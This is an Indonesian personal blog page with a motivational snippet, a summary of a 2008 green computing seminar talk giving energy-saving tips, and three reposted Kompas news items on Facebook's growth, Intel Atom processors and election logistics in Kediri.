Dan bangkitlah, lanjutkan perdjoeangan!

Ingatlah bahwa para legenda tidak pernah mengejar cinta, karena itu:

Janganlah kalian mengejar cinta. Jadilah legenda yang penuh dengan prestasi dan manfaat untuk orang lain, maka cinta akan silih berganti mengejar kalian. Dan ketika masa itu datang, pilihlah takdir cintamu, kelola cintamu, atur kadarnya, arahkan posisinya, dan kontrol kekuatan cinta sesuai dengan tempatnya.

Dan itulah jalan cinta para legenda …

Tetap dalam perdjoeangan!

ttd-small.jpg

Green Computing untuk Orang Lugu

0 komentar

Sabtu tanggal 20 Desember 2008, saya diminta teman-teman dari Fakultas Teknik Universitas Gajah Mada (UGM) Yogyakarta, mengisi satu sesi diskusi pada Seminar Nasional bertema Green Computing: ICT Concern Towards Energy (Green Computing 2008). Menariknya, yang membuka acara seminar adalah guru politik saya selama di Saitama University Jepang, yang biasa kita panggil dengan sebutan Jenderal Tumiran. Ya, sahabat, guru dan kadang saya anggap bapak saya sendiri ini, sekarang sudah menjadi Dekan Fakultas Teknik UGM. Seharian di UGM, saya diurusi oleh pak Suharyanto, ini juga sahabat yang saya warisi ilmu memasak spageti dan telor dadar tuna ala mahasiswa, selama di Saitama University :) Om suharyanto yang dulu naik sepeda hasil mulung di tempat sampah, alhamdulillah sekarang sudah naik KIA Carrens yang mewah hihihi. Thanks for everything om! Kembali ke materi, saya coba rangkumkan apa yang telah saya bahas di seminar tersebut.

GREEN COMPUTING ITU MAKHLUK APA

Cikal bakal Green Computing dimulai pada tahun 1992. Saat itu US Environmental Protection Agency merelease program Energy Star, yaitu program promosi dan penghargaan bagi penerap efisiensi energi pada teknologi monitor, pengontrol iklim, dan teknologi lain. Istilah Green Computing muncul dengan booming-nya Energy Star ini, khususnya merujuk ke bagaimana kita bisa efisien dalam konsumsi energi pada penggunaan produk computing. Landasan pergerakannya adalah kebutuhan akan economic viability (keberlangsungan hidup), social responsibility (tanggung jawab sosial) dan environmental impact (pengaruh lingkungan).

Para peneliti mengurai definisi Green Computing dengan sudut pandang yang sedikit berbeda. Kita bisa lihat dari beberapa di bawah:

How to use your computer more sustainably (Young Yi)

Information technology that is environmental friendly and energy efficient (Wachara Chantatub)

The study and practice of using computing resources efficiently (Rawan M. Al-Ghofaili)

Reduce the increasing amount of useless data/work (Jordi Torres)

Lima kata kunci yang muncul dari beberapa definisi diatas adalah, sustainability, environmental friendly, energi efficient, resource efficient dan reduce useless work. Ternyata Green Computing tidak hanya membahas tentang energy consumption, tapi juga bagaimana kita bisa menggunakan komputer plus berbagai tool dan konten dengan lebih efisien dan jelas manfaatnya.

Yang menarik bahwa laporan Gartner tentang 10 teknologi strategis tahun 2008 (10 most strategic technologies for 2008), menempatkan isu teknologi Green Computing di nomor urut pertama. Tentu kalau kita mau analisa lebih dalam, dari 10 teknologi tersebut, SOA dan Web 2.0 tetap mendominasi, meskipun terpecah di aspek misalnya Business Process Modeling, Metadata Management, Virtualization 2.0, Mashup & Composite Apps, Web Platform & WOASocial Software. Mungkin sedikit saya rangkumkan tentang laporan Gartner Group ini sebagai berikut: dan

  1. Green IT: Fokus ke mengurangi konsumsi listrik, jumlah carbon footprint dan melakukan efisiensi energi dan kerja
  2. Unified Communications: Konsentrasi ke migrasi PBX ke VoIP
  3. Business Process Modeling: Era baru setelah UML, Use Case Diagram tidak mencukupi untuk menggambarkan business process yang lebih kompleks. Business Process Modeling Notation (BPMN) dan berbagai approach mulai bermunculan
  4. Metadata Management: Khususnya teknologi enterprise untuk manajemen data produk dan pelanggan. Bagian penting dari SOA.
  5. Virtualization 2.0: Ketika virtualisasi adalah utilisasi server dan implementasi aplikasi, virtualisasi 2.0 akan membantu kita mengarahkan kekuatan teknologi untuk proses otomasi yang lebih sempurna.
  6. Mashup & Composite Apps: Mashups and composite applications akan menghubungkan intranet korporasi bergaya Web 2.0 dengan internet publik. Diramalkan gartner akan mendominasi model pengembangan aplikasi enterprise mulai tahun 2010.
  7. Web Platform & WOA: Kombinasi dari Software as a service (SaaS) dan SOA akan menghasilkan Web Oriented Architecture (WOA). Kadang disebut juga dengan istilah cloud computing
  8. Computing Fabric: Ambil beberapa server blade, koneksikan semuanya dengan intelligent interconnect, dan tampilkan dalam bentuk single operating system image. Itulah “computing fabric“. Tren akan terus berkembang di era ke depan.
  9. Real World Web: Peralatan GPS yang semakin bervariasi dan built-in pada PDA, handphone dan iPhone akan membuat banyak perusahaan bisa memberikan layanan (aplikasi dan data) kepada kita sesuai dengan lokasi kita saat ini
  10. Social Software: Aplikasi social networking akan menuju ke enterprise dan internet korporasi

TIPS GREEN COMPUTING

Saya menyajikan beberapa tips Green Computing dari aspek technical sampai strategis. Ternyata tidak sulit kok nge-Green itu :)

1. Green Computing on PC

  • Laptop hanya memerlukan 10% energi yang digunakan Desktop. Flat screen hanya menggunakan 30% energi yang digunakan oleh Monitor CRT
  • Coba upgrade RAM, sebelum memutuskan ganti komputer. Komputer lambat bisa karena kotornya registry atau ada background services yang berjalan padahal sebenarnya tidak kita perlukan. Cek dan matikan services yang sedang berjalan padahal tidak perlu itu. Misalnya untuk Windows jalankan Start > Run > type “msconfig”
  • Menggunakan PC dan printer dengan merk dan jenis sama memudahkan kanibalisme dan proses recycle
  • Matikan komputer ketika tidak digunakan (malam hari). Mematikan komputer akan mengurangi umur komputer adalah mitos yang salah
  • Screen saver is not energy saver. Pilih matikan monitor daripada menggunakan screen saver
  • Pilih virtualisasi daripada pembelian hardware baru (hemat 70% energi)
  • Pilih peripheral berlogo energy star
  • Catat bahwa mode power menentukan prosentase hemat energi (Sleep mode - hemat 70% energi, Standby mode - hemat 90% energi, Hibernate mode - hemat 98% energi)
  • Jangan cepat membuang PC, lakukan recycle atau donasi ke pihak lain apabila sudah tidak digunakan

2. Green Computing on Laptop

  • Gunakan power saving setting
  • Kurangi penggunaan backlight
  • Atur layar dan harddisk sleep/off setelah beberapa menit tanpa penggunaan
  • Matikan bluetooth dan wifi ketika tidak digunakan
  • Lepas kartu MMC, SD, USB Flash apabila tidak digunakan
  • Kecilkan volume suara dan kontras layar
  • Minimalisir penggunaan IrDA (infrared) atau serial communication, karena boros energi
  • Upgrade RAM sebelum ganti laptop
  • Jangan cepat membuang Laptop, lakukan recycle atau donasi ke pihak lain apabila sudah tidak digunakan

3. Green Computing on Paperless Method

Usahakan menggunakan paperless method untuk berbagai urusan kita karena itu mengurangi sampah carbon footprint. Apabila memungkinkan kembangkan dan terapkan Document Management System, Electronic Invoicing dan Electronic Business Process pada institusi kita.

4. Green Computing on Paperless Education

  • Hindari kertas, gunakan file elektronik or blog untuk pengumpulan laporan dan tugas
  • Lupakan cara konvensional, gunakan eLearning System untuk penyebaran modul ajar, forum diskusi dan assesment
  • Gunakan Chatting dan Social Networking untuk mendukung pembelajaran. Ingat bahwa chatting untuk pacaran or godain orang, are not Green Computing!

5. Green Computing on Paperless Branding and Marketing

  • Lupakan kartu nama, CV, koran dan majalah untuk personal branding
  • Lakukan blogging untuk personal branding, marketing, bisnis bahkan influencing people
  • Manfaatkan google sebagai kurir dan salesman kita dalam marketing dan branding

Dan akhirnya saya ucapkan selamat, karena ternyata orang lugupun bisa memahami dengan baik Green Computing beserta implementasinya dari berbagai sudut pandang :)

11 April 2009

200 Juta, Jumlah Anggota Facebook

1 komentar


JAKARTA, KOMPAS.com — Ada 200 juta. Bayangkan! Wah nyaris sejumlah penduduk negara kita dong. Ya, sebanyak itulah jumlah pengguna Facebook yang diinginkan saat ini. Menurut CEO Facebook Mark Zuckerberg, situsnya akan mencatatkan jumlah keanggotaan yang ke-200 juta hari ini juga, dan bahkan melampaui angka tersebut. Padahal, situs pertemanan itu belum genap berusia setengah dekade.

Facebook memang telah berhasil menyihir dunia. Tidak hanya digunakan oleh orang awam, tetapi juga sukses dimanfaatkan berkampanye, baik oleh Presiden AS Barack Obama, maupun Presiden Perancis Nicholas Sarkozy. Caleg-caleg kita pun ada yang ‘beriklan’ di Facebook.

Menurut Mark, Facebook selalu ingin memberi penggunanya cara yang lebih kaya, lebih cepat untuk berbagi informasi dan berkomunikasi. Ini, katanya, membuat para penggunanya kemudahan untuk memahami dan mengubah dunia di sekelilingnya.

Nah, apakah Anda sudah membuat profil di Facebook? Jika belum, mungkin kehadiran Anda bisa membuat jumlah pengguna Facebook mendekati angka 300 juta.

wiek

Genap 1 Tahun Atom, Intel Tambahkan Dua Model

0 komentar

Kamis, 9 April 2009 | 18:01 WIB

BEIJING, KOMPAS.com — Sudah satu tahun berlalu sejak Intel memunculkan prosesor Atom. Untuk merayakannya, pada ajang IDF (Intel Development Forum) di Beijing, Intel memamerkan dua model baru Atom dengan inti Silverthorne core.

Model pertama adalah Z550 yang menawarkan clock speed sampai 2GHz dan mendukung teknologi Hyperthreading. Menurut Intel, chip ini mengonsumsi daya kurang dari 3-watt, atau rata-rata 220 mWatt.

Model kedua adalah Z550, yang bisa berlari sampai 1,2GHz, bukan 1,1GHz. Peningkatan kecepatan ini dimungkinkan oleh Intel BPT (Burst Performance Technology).

Kedua prosesor Atom baru ini dirancang untuk MID dan aplikasi embedded lain. Belum ada informasi tentang harga kedua chip baru ini. Namun, kemungkinan Z550 akan menggantikan Z540 yang dihargai 160 dollar AS.

wiek



6 April 2009

Logistik Pemilu Legislatif Masih Bermasalah

0 komentar
KEDIRI, KOMPAS.com- Logistik pemilihan umum legislatif di Kabupaten Kediri, Jawa Timur, hingga saat ini masih bermasalah. Padahal pelaksanaan pemilu makin dekat. Dikhawatirkan, pemilu tidak akan berjalan lancar.

Kepala Subbagian Teknis Penyelenggaraan Pemilu Kantor Komisi Pemilihan Umum Daerah Kabupaten Kediri Haryanto mengatakan, sampai dengan Senin (30/3) ini surat suara masih kurang 64.382 lembar.

"Surat suara yang kurang itu meliputi surat suara untuk pemilihan anggota DPR RI 11.088 lembar, surat suara untuk pemilihan anggota DPD 13.132 lembar, surat suara untuk pemilihan DPRD Provinsi Jatim 13.927 lembar, dan surat suara untuk pemilihan anggota DPRD Kabupaten Kediri 26.235 lembar," ujarnya di Kediri.

Kurangnya surat suara pileg itu disebabkan banyaknya surat suara yang rusak pada saat didistribusikan. Selain itu, selisih surat suara disebabkan adanya selisih jumlah pemilih yang terdaftar yang disahkan KPUD Kabupaten Kediri.

Jumlah pemilih sesuai Daftar Pemilih Tetap di Kabupaten Kediri mencapai 1.213.768 orang dari total penduduk sebanyak 1.513.509 jiwa. KPUD Kabupaten Kediri telah mengajukan ke KPUD Jawa Timur kekurangan surat suara, namun belum juga dikirim.

Selain surat suara, logistik yang masih kurang adalah tinta pemilih, segel, dan sejumlah formulir seperti daftar pemilih tetap. Senin kemarin, petugas KPUD Kabupaten Kediri telah membagikan 1.057 formulir DPT ke 310 desa dari 344 desa yang ada di Kediri. Masih ada 34 desa yang belum menerima formulir DPT.

Awalnya, mereka berharap seluruh logistik akan selesai didistribusikan ke Panitia Pemungutan Kecamatan maksimal pada H-15 sebelum pelaksanaan. Akan tetapi sampai dengan H-10 kemarin, kekurangan surat suara belum juga dipenuhi.

KPUD Kabupaten Kediri khawatir pengiriman logistik yang terlalu mepet waktunya dengan pelaksaan pemilu tidak bisa maksimal persiapannya. Alasannya, pengecekan logistik akan berbenturan dengan kegiatan lain.

Like and Follow This Blog

Related Posts Plugin for WordPress, Blogger...